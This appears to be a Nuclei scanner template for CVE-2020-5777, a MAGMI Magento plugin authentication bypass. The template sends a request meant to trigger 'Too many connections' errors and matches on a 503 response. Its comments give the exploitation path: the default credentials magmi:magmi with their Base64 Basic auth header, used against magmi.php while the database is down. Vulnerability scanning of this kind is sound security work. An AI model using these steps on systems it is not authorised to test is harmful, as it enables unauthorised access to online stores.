37 lines
1.3 KiB
YAML
37 lines
1.3 KiB
YAML
id: CVE-2020-5777
|
|
|
|
info:
|
|
name: Remote Auth Bypass in MAGMI (Magento Mass Importer) Plugin <= v0.7.23
|
|
author: dwisiswant0
|
|
severity: critical
|
|
description: MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure.
|
|
reference: https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35
|
|
tags: cve,cve2020,magmi,magento
|
|
|
|
# Response code 503 indicates a potential successful "Too many connections" error
|
|
# While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php
|
|
# with default credential "magmi:magmi" (Authorization: Basic bWFnbWk6bWFnbWk=)
|
|
# Tested on a AWS t2.medium with max_connection = 75 and PHP-FPM pm-max_children = 100
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.80
|
|
cve-id: CVE-2020-5777
|
|
cwe-id: CWE-287
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Connection: close
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "Too many connections"
|
|
part: body
|
|
- type: status
|
|
status:
|
|
- 503
|